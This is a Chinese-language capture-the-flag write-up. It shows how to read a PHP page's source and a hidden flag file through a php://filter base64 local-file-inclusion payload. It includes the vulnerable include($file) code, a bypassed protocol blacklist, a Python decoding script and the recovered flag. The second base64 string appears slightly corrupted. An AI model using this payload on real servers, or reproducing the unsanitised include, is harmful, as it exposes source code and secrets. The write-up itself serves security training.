發現flag.php就在這但是不回顯結果。
這時考慮使用偽協議間接讀取原始碼內容
以base64偽協議為例:
payload為:?file=php://filter/convert.base64-encode/resource=index.php
得到index.php的原始碼的base64編碼形式,
PG1ldGEgY2hhcnNldD0idXRmOCI+Cjw/cGhwCmVycm9yX3JlcG9ydGluZygwKTsKJGZpbGUgPSAkX0dFVFsiZmlsZSJdOwppZihzdHJpc3RyKCRmaWxlLCJwaHA6Ly9pbnB1dCIpIHx8IHN0cmlzdHIoJGZpbGUsInppcDovLyIpIHx8IHN0cmlzdHIoJGZpbGUsInBoYXI6Ly8iKSB8fCBzdHJpc3RyKCRmaWxlLCJkYXRhOiIpKXsKCWV4aXQoJ2hhY2tlciEnKTsKfQppZigkZmlsZSl7CglpbmNsdWRlKCRmaWxlKTsKfWVsc2V7CgllY2hvICc8YSBocmVmPSI/ZmlsZT1mbGFnLnBocCI+dGlwczwvYT4nOwp9Cj8+Cg==
使用python指令碼解碼:
import base64
def base64_decode(base64_code):
bytes = base64.b64decode(base64_code)
ss = bytes.decode()
print(ss)
a = 'PG1ldGEgY2hhcnNldD0idXRmOCI+Cjw/cGhwCmVycm9yX3JlcG9ydGluZygwKTsKJGZpbGUgPSAkX0dFVFsiZmlsZSJdOwppZihzdHJpc3RyKCRmaWxlLCJwaHA6Ly9pbnB1dCIpIHx8IHN0cmlzdHIoJGZpbGUsInppcDovLyIpIHx8IHN0cmlzdHIoJGZpbGUsInBoYXI6Ly8iKSB8fCBzdHJpc3RyKCRmaWxlLCJkYXRhOiIpKXsKCWV4aXQoJ2hhY2tlciEnKTsKfQppZigkZmlsZSl7CglpbmNsdWRlKCRmaWxlKTsKfWVsc2V7CgllY2hvICc8YSBocmVmPSI/ZmlsZT1mbGFnLnBocCI+dGlwczwvYT4nOwp9Cj8+Cg=='
base64_decode(a)
得到結果為php原始碼:
<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
exit('hacker!');
}
if($file){
include($file);
}else{
echo '<a href="?file=flag.php">tips</a>';
}
?>
發現有一些協議黑名單,但我們仍然可以使用base64偽協議訪問flag.php,得到PD9waHAKZWNobyAiQ2FuIHlvdSaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7ZTcyODA4ZjAtYjAyNC00YzhkLWEzZmQtNzI0MGVkZTVlOWY4fQo=
繼續base64解碼得到,這裡我們就拿到了flag
<?php
echo "Can you find out the flag?";
//flag{e72808f0-b024-4c8d-a3fd-7240ede5e9f8}